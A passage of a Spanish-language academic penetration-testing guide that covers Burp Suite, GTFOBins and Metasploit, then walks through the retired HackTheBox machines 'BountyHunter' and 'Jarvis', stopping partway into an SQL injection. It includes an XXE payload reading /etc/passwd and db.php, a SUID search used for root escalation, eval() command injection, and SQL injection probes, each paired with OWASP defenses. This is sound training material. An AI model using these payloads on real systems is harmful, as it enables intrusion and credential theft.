Debemos dirigirnos al apartado de “preferencias” de la configuración del navegador y 

bajar hasta la sección de “Network Settings”, donde haremos clic en “Settings”. Una vez 

hecho esto, nos dirigiremos a una ventana llamada “Connection Settings”. Allí 

seleccionaremos la opción de “Manual proxy configuration”, colocaremos la IP 127.0.0.1 

y el puerto 8080, que son los que vienen por defecto en la configuración de Burp Suite, y 

nos aseguraremos que no haya nada escrito en el campo “No proxy for”. Para acabar, 

haremos clic en “OK”. 
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Ilustración 5: Connecion settings para configurar el proxy 

 

Para la instalación del certificado de Burp Suite en el navegador y evitar errores de falta 

de confianza en los certificados, deberemos exportar el “CA certificate” desde la propia 

aplicación de Burp Suite. Para ello nos dirigimos al apartado proxy y escogemos la sección 

de opciones. Allí veremos un botón que nos permite importar o exportar el certificado. 

Escogemos la opción “exportar como der” y lo guardamos en el equipo. Ahora, el siguiente 

paso será importarlo en nuestro navegador. 

 

Abrimos la pestaña de preferencias de mozilla una vez más. Esta vez nos dirigimos al 

apartado de “certificados” y hacemos clic en “View Certificates”. Aquí podemos ver todos 

los certificados existentes en el navegador, sin embargo, no aparece ninguno 

correspondiente a Port Swigger, que es la empresa desarrolladora de Burp Suite. 

Hacemos clic en Import y seleccionamos el certificado que acabábamos de exportar. 

Ahora nos aparecerá el certificado y ya podremos utilizar el proxy sin errores en el 

navegador. 
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Ilustración 6: Certificados del navegador una vez importado el de Burp Suite 

 

3.4.2 Proxy 

Burp Suite funciona como un servidor proxy web y actúa como intermediario entre su 

navegador y los servidores web de destino. Esto le permite interceptar, inspeccionar y 

modificar el tráfico sin procesar que pasa en ambas direcciones. 

 

Dentro de la pestaña “Intercept” se muestran solicitudes y respuestas HTTP individuales 

que han sido interceptadas por el Proxy para su revisión y modificación. Esto nos permite 

una revisión manual de los mensajes interceptados para entender en detalle la superficie 

de ataque de la aplicación. Podemos modificar los campos de las peticiones y respuestas 

interceptadas y enviarlas. Para activar o desactivar la intercepción de mensajes basta con 

hacer clic en la opción “Intercept on/off”. 
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Ilustración 7:Proxy de BurpSuite, pestaña Intercept 

 

La siguiente pestaña nos muestra un historial completo de todas las solicitudes y 

respuestas que han pasado por el Proxy. Esto nos permite revisar la conversación entre 

el navegador y el servidor para comprender cómo funciona la aplicación. La tabla del 

historial se puede ordenar y filtrar por los diferentes campos, también se pueden ocultar 

elementos que cumplan ciertas características o resaltarlos si así se desea. 

 

Una parte clave de BurpSuite es la capacidad de enviar elementos interesantes entre sus 

herramientas para realizar diferentes tareas. Se puede hacer esto usando los menús 

contextuales a los que se accede haciendo clic con el botón derecho en los diferentes 

mensajes interceptados que se muestran en el historial. Por ejemplo, puedes enviar la 

solicitud al “Intruder” para realizar varios tipos de ataques personalizados 

automatizados o puedes enviar la solicitud al “Repeater” para modificarla manualmente 

y volver a emitirla una y otra vez. 

 
Ilustración 8: Proxy de Burp Suite, pestaña HTTP history 
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La información e imágenes de este apartado 12.4.2 están basadas en la propia guía del 

Proxy de Burp.[11] 

 

3.4.3 Intruder 

Burp Intruder es una herramienta para automatizar ataques personalizados contra 

aplicaciones web. Es extremadamente potente y configurable, y se puede utilizar para 

realizar una gran variedad de tareas, desde la simple adivinación de directorios web por 

fuerza bruta hasta la explotación activa de vulnerabilidades complejas de tipo blind SQL 

Injection. 

 

El funcionamiento de ésta es simple, toma una solicitud HTTP, la modifica de varias 

formas sistemáticas, emite cada versión modificada y analiza las respuestas de la 

aplicación para identificar características interesantes. Para cada ataque es necesario 

especificar al menos un payload y las posiciones en la petición donde se colocarán los 

payloads. 

 

El intruder es una herramienta muy flexible, aun así, veamos un ejemplo de un caso 

común en que buscamos conocer unas credenciales válidas para una autenticación. 

 

El primer paso es seleccionar la petición HTTP que se envía cuando buscamos comprobar 

nuestras credenciales y enviarla a la herramienta intruder. Allí, seleccionamos el campo 

correspondiente al usuario y agregamos un payload acorde a la situación, en este caso, 

nombres de usuarios más comunes.  A continuación, tenemos que identificar si es o no 

posible saber cuándo una respuesta contiene un usuario válido o no. Para ello, podemos, 

por ejemplo, fijarnos en la longitud de las respuestas o el código de estado HTTP. Una vez 

localizada la diferencia, procedemos a filtrar las respuestas en base a ésta. 

 
Ilustración 9: Herramienta Intruder, respuestas con diferente longitud 

 

Seleccionamos un payload con un mayor nombre de usuarios y filtramos los que 

identifiquemos como válidos. Ahora, podemos tratar de averiguar la contraseña de estos 
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usuarios de la misma forma, seleccionando también la parte de contraseña de la petición 

HTTP y utilizando un payload específico para esta función. 

 

Apartado basado en la guía de Burp, para más información buscar en [12]. 

 

3.4.4 Repeater 

Burp Repeater es una herramienta simple para manipular y volver a emitir manualmente 

mensajes HTTP y WebSocket individuales, y analizar las respuestas de la aplicación. Se 

puede usar el repetidor para todo tipo de propósitos, como cambiar los valores de los 

parámetros para probar las vulnerabilidades basadas en la entrada, emitir solicitudes en 

una secuencia específica para probar fallas lógicas y volver a emitir solicitudes de 

problemas de Burp Scanner para verificar manualmente los problemas informados. 

 

Esta es una herramienta muy útil a la hora de explorar y buscar vulnerabilidades, en 

cambio, no nos permite realizar ataques como el intruder.  

 

Para usar Burp Repeater con mensajes HTTP, se debe seleccionar un mensaje HTTP del 

historial, por ejemplo, y enviarlo al repetidor con clic derecho, enviar. Esto creará una 

nueva pestaña en el repetidor y automáticamente completará los campos de la petición y 

respuesta con los detalles relevantes. Alternativamente, se puede abrir una nueva 

pestaña Repetidor manualmente y seleccionar la opción HTTP. 

 

Cuando la petición modificada esté lista para enviarse, solo hace falta hacer clic en el 

botón Enviar para enviarla al servidor. La respuesta se muestra cuando se recibe, junto 

con la duración y un temporizador (en milisegundos). Se pueden usar las funciones 

habituales del editor de mensajes HTTP para ayudar a analizar los mensajes de solicitud 

y respuesta, y llevar a cabo más acciones. También se puede elegir qué protocolo utilizará 

Burp para enviar el mensaje. 

Apartado basado en la guía de Burp, para más información buscar en [13]. 

 

3.5  GTFOBins 
 

GTFOBins es una lista seleccionada de archivos binarios de Unix que se pueden usar para 

eludir las restricciones de seguridad locales en sistemas mal configurados. 

 

El proyecto recopila funciones legítimas de los binarios de Unix que se pueden abusar 

para romper shells restringidos, escalar o mantener privilegios elevados, transferir 

archivos, generar spawn y reverse shells y facilitar las otras tareas posteriores a la 

explotación. [14] 

 

Utilizaremos esta herramienta en la fase de escalada de privilegios, una vez explotada una 

vulnerabilidad y obtenido un acceso como usuario al sistema. Si encontramos una mala 
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configuración, podemos obtener la forma de utilizarla para realizar una escalada de 

privilegios vertical y, convertirnos en administrador del sistema. Este tipo de 

vulnerabilidad es conocida como “Broken Access control” y se corona con el Top 1 de 

OWASP, siendo así la vulnerabilidad más concurrente y peligrosa del TOP 10. 

 

Veamos un ejemplo de uso de la herramienta: 

 

Imaginemos que hemos iniciado sesión en un sistema Linux con la cuenta de un usuario 

y queremos obtener permisos de administrador. Al intentarlo, vemos que nos pide la 

contraseña y, como no disponemos de ella, debemos encontrar otra forma de elevar 

nuestros privilegios. 

 

 
Ilustración 10: Ejemplo sudo su 

 

Una posible respuesta a esta situación sería observar los binarios con el bit setuid activo. 

Para ello, realizamos un comando que nos busque en el directorio /usr/bin todos los 

archivos con el bit en cuestión activado. [15] 

1. find directory -user root -perm -4000 -exec ls -
ldb {} \; >/tmp/filename 

- find directory: Comprueba todas las rutas montadas que comienzan en el 

directorio especificado. 

- User root:   

- Muestra los archivos que pertenecen solo a root. 

- Perm 4000: Muestra archivos solo con permisos establecidos en 4000.   

- Exec ls -ldb: Muestra la salida del comando find en ls -ldb. 

- >/tmp/filename: Escribe el resultado en el archivo filename. 

 

El archivo resultante nos muestra lo siguiente: 
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Ilustración 11: Ejemplo /tmp/setuid 

 

Si nos fijamos en la última línea, vemos como Python2.7 tiene activado el bit setuid. Si 

buscamos ahora Python en la herramienta GTFOBins, obtenemos la siguiente 

información. 

 

 
Ilustración 12: GTFOBins, resultado de python SUID 

 

Si ejecutamos el comando en nuestra terminal, deberíamos obtener el acceso como 

administrador al sistema. Probémoslo: 
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Ilustración 13: Ejemplo resultado SUID Python 

 

Como suponíamos, se nos ha abierto una consola con el usuario root. Esta vulnerabilidad 

supone un grave peligro para la seguridad de los sistemas y es muy importante mantener 

controlados los permisos que ejercemos sobre los archivos binarios. La mejor forma de 

evitar este tipo de vulnerabilidades es la buena gestión de los permisos. 

 

3.6  MetaSploit 
 

Metasploit es un proyecto de código abierto que nos ayuda a investigar las 

vulnerabilidades de seguridad. Metasploit framework es una herramienta desarrollada 

en Perl y Ruby en su mayor parte, que está enfocada a auditores de seguridad y equipos 

Red Team y Blue Team. Es una herramienta muy completa que tiene muchísimos exploits, 

que son vulnerabilidades conocidas, en las cuales tienen también unos módulos, llamados 

payloads, que son los códigos que explotan estas vulnerabilidades. [16] 

 

Para usar MetaSploit Framework ejecutamos el comando “msfdb run”. Seguidamente, 

tendremos acceso a todos los exploits públicos que ofrece la herramienta. Para buscar 

uno en concreto, utilizamos el comando “search. Cuando hayamos encontrado el exploit 

que buscábamos, copiamos su ruta y ejecutamos el comando “use”, seguido de la ruta, 

para comenzar a configurar el exploit. 

 

A continuación, mediante el comando “show options”, se nos mostrarán los campos a 

configurar que dependerán del exploit escogido, pero que suelen tener, por ejemplo, la IP 

y el puerto de la víctima. Para este último caso, se introduciría mediante el comando “set 

RHOSTS 10.10.10.X”. 

 

Finalmente, utilizamos el comando “exploit” para lanzar el exploit configurado a la 

dirección víctima especificada. 

 

El uso de metasploit suele ser situacional y, en caso de exámenes como el OSCP, su uso 

está limitado. La mejor recomendación suele ser construir cada uno sus propios exploits, 

ya sea partiendo de una base ya construida o empezando completamente de cero. 

 

4  Contexto de Máquina “BountyHunter” 
Ahora que hemos tratado algunas de las herramientas más comunes para detección y 

explotación de vulnerabilidades, pasemos a realizar la resolución de ciertas máquinas de 

la plataforma “HackTheBox” para poner estas herramientas a prueba.  
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Comenzaremos por la máquina “BountyHunter” que cuenta con tres vulnerabilidades del 

Top 10 de OWASP. La primera es un XML External Entity Attack, la segunda se trata de 

un command injection que aprovechará una función vulnerable de Python y la tercera es 

un Broken Access Control incluida en la propia command injection mediante la cual 

podremos elevar nuestros privilegios a los de administrador del sistema. 

 

A continuación, trataremos la primera fase, que es la de conexión, y seguiremos con la 

fase de escaneo, detección y finalmente explotación de la vulnerabilidad. Para acabar, 

trataremos de ofrecer una solución para protegernos de ese tipo de vulnerabilidad. 

 

4.1  Conexión 
La fase de conexión consiste en ganar acceso a la máquina objetivo. En el caso de 

HackTheBox, se precisa de un archivo (.ovpn) mediante el cual conectarnos por vpn a 

HackTheBox y, a su vez, a la máquina. Para obtener este archivo, hemos de irnos a la 

página web de HackTheBox y conectar nuestra sesión a “Machines”.  

 

Allí, elegiremos el servidor al que nos queramos conectar y se nos generará un archivo 

ovpn. En nuestra terminal, ejecutamos el comando: 

1. sudo openvpn lab_XX.ovpn 

Donde XX corresponde a nuestro nombre de usuario de HackTheBox. 

 

Una vez hecho esto, deberíamos ver algo parecido a la imagen siguiente en la página web. 

 

 
Ilustración 14: Acceso a Machines en HackTheBox 

Ahora que ya estamos conectados a HackTheBox mediante vpn, tenemos que encender 

la máquina a la que nos queramos conectar, en nuestro caso “BountyHunter”.  
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Para ello, nos dirigimos al apartado de “Retired-Machines” y filtramos por su nombre. 

 

 
Ilustración 15: Búsqueda de máquinas retiradas en HackTheBox 

Si hacemos clic encima de ella, se nos abrirá una nueva sección con información sobre la 

máquina y con varias opciones, entre ellas, la opción de encenderla. Una vez activada esa 

opción, se nos debería mostrar que la máquina está en pleno funcionamiento a su vez que 

se nos indica la IP correspondiente. Si desde nuestra terminal lanzamos un ping a esa IP, 

se nos debería de contestar adecuadamente. 

 

 
Ilustración 16: Información sobre la máquina "BountyHunter" 

 

4.2  Fase de reconocimiento 
Después de conectarnos a la máquina objetivo, comenzamos con la fase de escaneo, 

donde utilizaremos principalmente la herramienta “nmap”. Lo primero que haremos será 

escanear los puertos abiertos de la máquina. Para ello utilizaremos el comando 

allPortsv2, ya explicado en el apartado 12.1.1. Si aplicamos el comando extractPorts [7] 

sobre el fichero resultante del comando anterior, obtenemos: 
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Ilustración 17: ExtractPorts de "BountyHunter" 

Esto nos muestra que hay 2 puertos abiertos en la máquina. Uno es el puerto 22 

correspondiente a ssh y el segundo es el puerto 80 correspondiente a http. 

 

A continuación, realizamos un segundo comando de nmap para obtener información 

acerca de la versión y servicio que corren en estos puertos que hemos localizado. El 

comando es el targeted del apartado 12.1.2. Obtenemos lo siguiente: 

 

 
Ilustración 18: Comando targeted "BountyHunter" 

Leyendo la información obtenida, encontramos la versión y el servicio tanto de ssh como 

de http y podemos saber también que la máquina objetivo corre un sistema operativo 

Linux. 

 

No parece haber mucho más que ver en cuanto a escaneo, así que procedemos a la 

siguiente fase, que consiste en una exploración de la página web. 

 

Si entramos en la URL “http://10.10.11.100” veremos la página web correspondiente al 

puerto 80. 
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Ilustración 19: Pagina web "BountyHunter" 

Si exploramos la web, acabaremos encontrando un archivo “portal.php” que nos llevará 

a otro llamado “log_submit.php”. 

 

Podemos probar de buscar direcciones y archivos mediante el hovering, que consiste en 

pasar nuestro cursor por encima de distintos elementos y fijarnos en la URL que aparece 

abajo a la izquierda de nuestra pantalla. Sin embargo, es mejor realizar un fuzzing, por 

ejemplo, con la herramienta Wfuzz, para asegurarnos que no nos dejamos ningún archivo 

o dirección oculta. El resultado del fuzzing, aplicando un filtro para obtener archivos php, 

es el siguiente: 

 
Ilustración 20: Resultado Wfuzz "BountyHunter" 

En conclusión, hemos encontrado distintos archivos interesantes.  

 

Uno de ellos es db.php que, si lo buscamos, no parece contener nada. Esto puede ser 

debido a que, al interpretar la web los archivos php, su contenido real (el código) queda 

oculto y solo se muestra la interpretación en php como tal. El archivo puede ser 

interesante así que habrá que tenerlo en mente. 

 

El otro es “log_submit.php”, que nos lleva a una especie de formulario con distintos 

campos. 

 

5 Vulnerabilidad XXE 

5.1 ¿Qué es? 
Una vulnerabilidad que se aprovecha de un parser de XML mal configurado es el ataque 

XXE. Según OWASP [17], este ataque ocurre cuando la entrada XML que contiene una 

referencia a una entidad externa es procesada por un analizador XML mal configurado. 
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Este ataque puede conducir a la divulgación de datos confidenciales, denegación de 

servicio, falsificación de solicitudes del lado del servidor, escaneo de puertos desde la 

perspectiva de la máquina donde se encuentra el analizador y otros impactos en el 

sistema. 

 

5.2 Contexto en la máquina 
Nos encontramos en la máquina “BountyHunter” con un formulario que presenta unos 

campos a rellenar. Lo mejor en estos casos es siempre comprobar qué es lo que sucede si 

utilizamos de la forma esperada la función. En este caso, obtenemos lo siguiente: 

 

 
Ilustración 21: Formulario "BountyHunter" 

 

5.3  Detección de vulnerabilidades: XXE 
Ante esta situación, debemos tratar de introducir caracteres como comillas o dobles 

comillas, guiones, etc. para comprobar si existe alguna clase de alteración en el 

comportamiento de la función. En este caso no parece haberlo, así que lo siguiente que 

podemos hacer es comprobar de qué manera se envía la información. Para ello, abrimos 

BurpSuite e interceptamos la petición. Una vez interceptada, podemos enviarla al 

Repeater para realizar un ensayo y error. Obtenemos lo siguiente: 
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Ilustración 22: Repeater con request de formulario "BountyHunter" 

Al parecer la data está codificada en URL encode y posteriormente en Base64. Se trata de 

un mensaje XML.  

 

 
Ilustración 23: data decodeada mediante BurpSuite "BountyHunter" 

 

OWASP nos da unos cuantos ejemplos en [17] para comprobar si un formulario puede ser 

susceptible a un ataque XXE. El que utilizaremos nosotros es el siguiente: 
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Ilustración 24: Ejemplo de OWASP sobre ataque XXE 

Lo que se hace en este ataque es crear una entidad externa, llamada XXE, que se 

corresponde a “file:// + Dirección de un archivo”, donde file:// es un wrapper que nos 

permite acceder al sistema de ficheros local y /etc/passwd es el fichero objetivo que se 

debería mostrar.  

 

Si modificamos la data de la petición e introducimos la entidad externa obtenemos lo 

siguiente: 

 
Ilustración 25: Ataque XXE "BountyHunter" 

Acabamos de encontrar una vulnerabilidad en el sistema. Esta vulnerabilidad XXE 

corresponde al TOP 10 de OWASP y se sitúa en el puesto número 5, bajo el nombre de 

Security Missconfiguration. 

 

Ahora que tenemos una vulnerabilidad detectada, pasemos a tratar de explotarla para 

ganarnos el acceso al sistema. 

 

5.4  Explotación de vulnerabilidades: XXE 
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Un buen lugar donde encontrar información de calidad acerca de vulnerabilidades es 

HackTricks [18]. Para nuestro caso, en esta web podemos encontrar información acerca 

de un ataque XXE, qué es, cómo se ejecuta, ejemplos, etc.   

 

Observamos en ella varios ejemplos similares a los de la web de OWASP que nos permiten 

leer el contenido de un fichero del sistema. Sin embargo, hay uno en particular que resulta 

interesante. Es el siguiente: 

1. <!--?xml version="1.0" ?--> 
2. <!DOCTYPE replace [<!ENTITY example 

SYSTEM "php://filter/convert.base64-

encode/resource=/etc/passwd"> ]> 

3. <data>&example;</data> 

El comando nos devuelve una versión codificada en base 64 del fichero /etc/passwd. 

Antes que nada, entendamos por qué, y después veamos cuál puede ser su utilidad. 

 

Según el manual de la propia web de PHP [19], PHP incorpora de serie wrappers para 

distintos protocolos tipo URL para trabajar junto con funciones del sistema de ficheros, 

como fopen(), copy(), file_exists() y filesize(). 

 

Uno de estos wrappers es, como hemos visto en el ejemplo de OWASP, “file://”, que 

representa al sistema de ficheros local y permite su acceso a éste. Es gracias a él que 

hemos accedido al fichero /etc/passwd. Sin embargo, el wrapper utilizado en el ejemplo 

de HackTricks es “php://filter”.  

 

Si buscamos más información acerca de ese wrapper, podemos encontrar: “Wrapper 

filter nos permite encodear el archivo que le especifiquemos, esto es muy útil, ya que nos 

permite poder leer archivos PHP que, en otro caso, el navegador simplemente 

interpretaría directamente.” [20] 

 

Esta descripción nos puede recordar a cierto archivo php que habíamos encontrado en la 

fase de reconocimiento, pero que no podíamos ver porque, posiblemente, el navegador lo 

estuviera interpretando y su código quedase oculto. El archivo es “db.php”. 

 

Si utilizamos este nuevo wrapper de PHP y, en vez de recibir el fichero /etc/passwd, 

indicamos que nos envíe el archivo “db.php”, obtendremos su contenido en base64. 
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Ilustración 26: Ataque XXE con wrapper php://filter "BountyHunter" 

Una vez obtenido el contenido del archivo convertido a base 64, podemos utilizar la 

herramienta “Decoder” del propio BurpSuite para decodearlo y visualizar su contenido. 

 

 
Ilustración 27: contenido del archivo db.php "BountyHunter" 

Lo más importante que hay en este archivo es, sin duda alguna, la contraseña 

proporcionada. Cabe recordar que estas máquinas suelen tomar un rumbo bastante 

“capture the flag”. Lo que restaría hacer ahora es encontrar al usuario cuya contraseña 

concuerde con la obtenida. Para ello, podemos mirar el anterior fichero /etc/passwd y 

probar de establecer una conexión ssh en el puerto 22 con los distintos usuarios que 

dispongan de una bash. En este caso son “root” y “development”. El resultado final es el 

siguiente: 
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Ilustración 28: Conexión ssh con la maquina víctima "BountyHunter" 

Con esto concluye la fase de explotación. 

 

5.5  Protección contra ataques XXE 
 

Este ataque ocurre cuando un input XML que contiene una entidad externa es procesado 

por un XML parser mal configurado. La solución recae, pues, sobre el propio parser. 

 

Las opciones que nos ofrece OWASP en [21] para evitar esta vulnerabilidad son las 

siguientes:  

 

La forma más segura de prevenir XXE es siempre deshabilitar las DTDs (entidades 

externas) por completo. Dependiendo del parser, el método debería ser parecido al 

siguiente: 

 

1. factory.setFeature("http://apache.org/xml/features/disallow-doctype-
decl", true); 

 

La desactivación de DTDs también hace que el analizador sea seguro contra ataques de 

denegación de servicios (DOS) como Billion Laughs [22]. Si no es posible deshabilitar las 

DTDs por completo de esta forma, las entidades externas y las declaraciones de tipos de 

documentos externos deben deshabilitarse de la forma específica para cada parser. 
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A continuación, OWASP ofrece toda una serie de especificaciones según el lenguaje de 

programación usado. Por ejemplo, en el caso de PHP la solución sería escribir: 

1. libxml_set_external_entity_loader(null); 

A parte de mejorar la seguridad del parser, también es importante mantener actualizadas 

todas las librerías XML utilizadas en la aplicación y, siempre que sea posible, es preferible 

que se validen los contenidos de los inputs. 

 

6 Vulnerabilidad Command Injection 

6.1 ¿Qué es? 
Según OWASP [23], Command Injection es un ataque en el que el objetivo es la ejecución 

de comandos arbitrarios en el sistema operativo host a través de una aplicación 

vulnerable. Los ataques son posibles cuando una aplicación pasa datos no seguros 

proporcionados por el usuario (formularios, cookies, encabezados HTTP, etc.) a un shell 

del sistema. En este ataque, los comandos del sistema operativo proporcionados por el 

atacante generalmente se ejecutan con los privilegios de la aplicación vulnerable. Los 

ataques de inyección de comandos son posibles en gran parte debido a una validación del 

input insuficiente. 

 

6.2 Contexto en la máquina 
Nos encontramos en la máquina “BountyHunter” y acabamos de obtener las credenciales 

de un usuario. Una vez iniciada la sesión en la máquina, vía ssh con el usuario 

“development”, observamos una serie de archivos txt. Entre ellos encontramos una nota 

que nos indica que al usuario original de la cuenta se le han entregado ciertos permisos 

para ejecutar un archivo. Para comprobar una posible vulnerabilidad ejecutamos el 

comando sudo -l. Obtenemos lo siguiente: 

 

 
Ilustración 29: sudo -l "BountyHunter" 

El usuario en que estamos actualmente tiene permisos para ejecutar como administrador 

el comando que se muestra, que parece ser la ejecución de un programa en Python 3. 

 

Si probamos a ejecutar el programa para ver cómo responde, observamos que nos 

precisa introducir un input. Al hacerlo, nos indica “Wrong file type” y termina la 

ejecución. 
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6.3  Detección de vulnerabilidades: Command Injection 
 

Veamos el código en busca de alguna función que podamos explotar. 

 

 
Ilustración 30: Código ticketValidator.py "BountyHunter" 

Vemos tres funciones.  
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La primera es el main, que ejecuta las otras dos funciones y según devuelva un booleano 

cierto o falso hace un print respectivamente. 

La segunda se llama load_file y carga un archivo desde un directorio con la condición de 

que la extensión de éste debe ser “.md”. Así pues, el archivo que debemos pasar por el 

input debe tener la condición de acabar con la extensión especificada. 

 

La tercera se llama evaluate y lleva como parámetro el contenido leído del archivo. El 

contenido de ésta es bastante más complejo. Para empezar, se lee el archivo por líneas y 

se especifica una serie de condiciones para no devolver false. Las condiciones se traducen 

a escribir una serie de comentarios en distintas líneas especificados en el propio código. 

Después, se produce un replace del contenido de la línea 4 donde se eliminan los 

caracteres “**” y un Split del carácter “+” quedándose con “[0]”, que corresponde a lo que 

haya a la izquierda del carácter “+”, guardándose en la variable “ticketcode”. Ahora se 

comprueba que esta variable corresponda a un dígito con resto 4 al dividirlo por 7. Un 

número que cumpla esto es, por ejemplo, el 11. Por último, mediante la función eval, se 

compara el contenido de la línea eliminando los caracteres “**”, si resulta en un número 

mayor de 100, devuelve true. 

 

Ahora que hemos revisado el código, deberíamos fijarnos en cierta función que puede ser 

explotada mediante command injection. La función es “eval”, y es que si no se comprueba 

su contenido, se puede introducir código malicioso para que ejecute comandos. Un 

ejemplo sería el siguiente: 

 

 
Ilustración 31: Ejemplo explotación eval() "BountyHunter" 

 

6.4  Explotación de vulnerabilidades: Command Injection  
 

Ahora que hemos detectado una posible vulnerabilidad en el código, procedamos a 

escribir el archivo que hay que pasar como input. Primero habrá que escribir las líneas 

con los comentarios específicos para que no se nos detenga la ejecución retornando false. 

El contenido es el siguiente: 

 
Ilustración 32: Líneas comentadas en el código de ticketValidator.py "BountyHunter" 

A continuación, escribimos los caracteres “**”, que serán posteriormente eliminados, y 

el número 11 que corresponde con la división por 7 de resto 4.  
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Por último, introducimos el carácter “+” para la condición de la función Split e 

introducimos seguidamente el código malicioso con el comando que nos dé una bash. El 

resultado final es este: 

 

 
Ilustración 33: Contenido file.md "BountyHunter" 

Al ejecutar el archivo como administrador, gracias al comando sudo y a los permisos que 

se nos ha otorgado para hacerlo, la bash que se nos abrirá será una que corresponderá a 

root. Tras la ejecución, esto es lo que obtenemos: 

 

 
Ilustración 34: Explotación de command injection "BountyHunter" 

 

6.5  Protección contra Command Injection 
 

Una buena forma de evitar este agujero en la seguridad del código sería, como nos indica 

OWASP, validar la información que se está introduciendo en el parámetro de la función, 

en nuestro caso, eval(). Si lo que esperamos introducir es un texto numérico con la 

expresión “+”, entonces nos bastaría con escribir una función extra que nos evaluase el 

input antes de ejecutar dicha función, y que, si no es el esperado, nos devuelva false 

directamente. 

 

Para ello creamos una lista de caracteres válidos y comparamos uno a uno el input de la 

función antes de ejecutarla. La función sería la siguiente: 

 

 
Ilustración 35: Función validate(string) "BountyHunter" 

Y el resultado de una ejecución con un input incorrecto nos devolvería Invalid ticket, en 

vez de una Shell con permisos de administrador. 
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Otra forma de evitar este tipo de ataques sería revocar los permisos de administrador 

sobre Python a la cuenta del usuario en cuestión. No es la práctica más segura como 

hemos podido comprobar. 

 

7 Contexto de máquina “Jarvis” 
 

En esta máquina trataremos 4 vulnerabilidades del Top 10 de OWASP. Estas son una SQL 

Injection, una Local File Inclusion, una Remote Code Execution y un Broken Access 

Control. 

 

Siguiendo el esquema de la máquina anterior, comenzaremos con la fase de conexión. 

 

7.1  Conexión 
 

Esta máquina es también una de las máquinas retiradas de HackTheBox, solamente 

accesible mediante la cuenta VIP. Ejerciendo los mismos pasos, podemos encontrarla en 

el buscador de la página web. El resumen que nos ofrece la plataforma sobre la máquina 

es el siguiente. 

 

 
Ilustración 36: Máquina Jarvis 

 

Una vez conectados a HackTheBox vía VPN y desplegada la máquina, pasamos 

rápidamente a la fase de reconocimiento. 

 

7.2  Fase de Reconocimiento 
 

Comenzamos escaneando la máquina víctima en busca de puertos TCP que puedan estar 

abiertos. Para ello, utilizamos la herramienta nmap junto al comando allPorts del 

apartado 12.1.1 y obtenemos la siguiente información. 
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Ilustración 37: Resultado comando allPorts "Jarvis" 

Sabemos que los puertos 22 y 80, relacionados con ssh y http respectivamente, están 

abiertos. Ahora, lanzaremos también con nmap una serie de scripts básicos y de 

enumeración junto a otros para averiguar el servicio y la versión que corre en cada 

puerto. Para ello, utilizamos el comando targeted explicado en el apartado 12.1.2. El 

resultado es: 

 

 
Ilustración 38: Resultado comando targeted "Jarvis" 

Podemos observar que estamos ante una máquina Linux que utiliza Debian. Si realizamos 

un whatweb sobre el puerto HTTP de la dirección IP obtenemos la siguiente información 

extra: 

 
Ilustración 39: Resultado comando whatweb "Jarvis" 

Con esta herramienta podemos saber más acerca del servidor y características del 

servicio que corre en el puerto 80 de la máquina víctima. 

 

A continuación, podemos comenzar a explorar la dirección IP de la máquina víctima 

http://10.10.10.143 de manera manual. Lo primero que nos encontramos es el índice de 

una página web que parece ser de hoteles. Nos permite reservar habitaciones y el resto 

de opciones no están implementadas o no parecen ser muy útiles. 
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Ilustración 40: http://10.10.10.143 "Jarvis" 

Si accedemos al hipervínculo de “view all rooms” debajo del apartado de Rooms & Suites, 

podemos observar que hay un total de 6 habitaciones para alquilar. Cabe añadir que, una 

vez seleccionada la habitación, el botón de alquilar no funciona. Sin embargo, al 

seleccionar una de las habitaciones, podemos observar que su número se refleja en la 

barra de búsqueda del navegador pasándose como parámetro como si fuera un GET. 

 

 
Ilustración 41: Petición habitación "Jarvis" 

 

8 Vulnerabilidad SQL Injection 

8.1 ¿Qué es? 
La inyección SQL es una vulnerabilidad de seguridad web que permite a un atacante 

interferir con las consultas que una aplicación realiza a su base de datos. Por lo general, 

permite que un atacante vea datos que normalmente no puede recuperar. Esto puede 

incluir datos pertenecientes a otros usuarios o cualquier otro dato al que la propia 
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aplicación pueda acceder. En muchos casos, un atacante puede modificar o eliminar estos 

datos, provocando cambios persistentes en el contenido o el comportamiento de la 

aplicación. En algunas situaciones, un atacante puede escalar un ataque de inyección SQL 

para comprometer el servidor subyacente u otra infraestructura de back-end, o realizar 

un ataque de denegación de servicio. [24] 

 

8.2 Contexto en la máquina 
Nos encontramos en la máquina “Jarvis” y hemos encontrado una URL sospechosa que 

parece tener indicios de ser vulnerable a SQL Injection. 

 

 
Ilustración 42:URL sospechosa de SQL Injection 

 

8.3  Detección de vulnerabilidades: SQL Injection 
Para detectar una vulnerabilidad de este tipo, se espera un comportamiento extraño en 

la página web al modificar o trastear con algún input relacionado con SQL. En nuestro 

caso, todavía no hemos hecho nada, pero veamos qué pasa si introducimos caracteres 

como: ‘, “ o  `. 

 

En este caso, la página nos devuelve un error y no es capaz de mostrarnos ninguna 

habitación. Pero esto ya cuenta como un comportamiento extraño y nos puede hacer 

pensar que la página sí es susceptible a una inyección SQL. 

 

 
Ilustración 43: Error al modificar el input "Jarvis" 

A continuación, confirmaremos la vulnerabilidad mediante el uso de operaciones lógicas. 

Un ejemplo útil sería el caso imaginario en que ?username=Peter devolviera lo mismo 

que ?username=Peter’ or 1=1. Para ello, comprobaremos las siguientes queries: 
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1. page.asp?id=1 or 1=1  
2. page.asp?id=1' or 1=1  
3. page.asp?id=1" or 1=1  
4. page.asp?id=1 and 1=2  

 

Finalmente obtenemos la habitación correcta en el primer caso y la incorrecta en los 
otros tres, confirmando así que la forma para que la query no se rompa es un espacio en 
blanco y que la inyección SQL es posible. 

 

 
Ilustración 44: SQL Injection --true "Jarvis" 

 

 
Ilustración 45: SQL Injection --false "Jarvis" 

 

Otra forma para comprobarlo es introducir ?cod=2-1 y observar como la respuesta es la 
misma que si hubiéramos buscado la habitación número 1. 

 
Para conocer el tipo de SQL que hay detrás, se pueden utilizar comentarios. Dependiendo 
del tipo de SQL se procesará la petición bien o devolverá algo extraño. Un tipo de 
comentario común en la mayoría es /*comment*/ que devuelve, como era de esperar, lo 
mismo que si no lo pusiéramos. En cambio, si introducimos – comment con un espacio 
entre medias de los guiones y la palabra, nos devuelve true. Este tipo de comentarios es 
único de MySQL, ya que el resto no pone este espacio entre medias. Si no lo ponemos no 
nos devuelve lo mismo que al principio. 

 

 
Ilustración 46: SQL Injection comment "Jarvis" 
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Con esto podemos confirmar que la base de datos que hay detrás de la query es MySQL. 

 

8.4  Explotación de vulnerabilidades: SQL Injection 
Para la explotación de la vulnerabilidad, seguiremos un esquema de HackTricks. [24] 

 

En primer lugar, necesitamos averiguar el número de columnas que devuelve la solicitud 

inicial. Esto se debe a que ambas consultas deben devolver el mismo número de 

columnas. Existen dos métodos para este propósito, pero nosotros utilizaremos el 
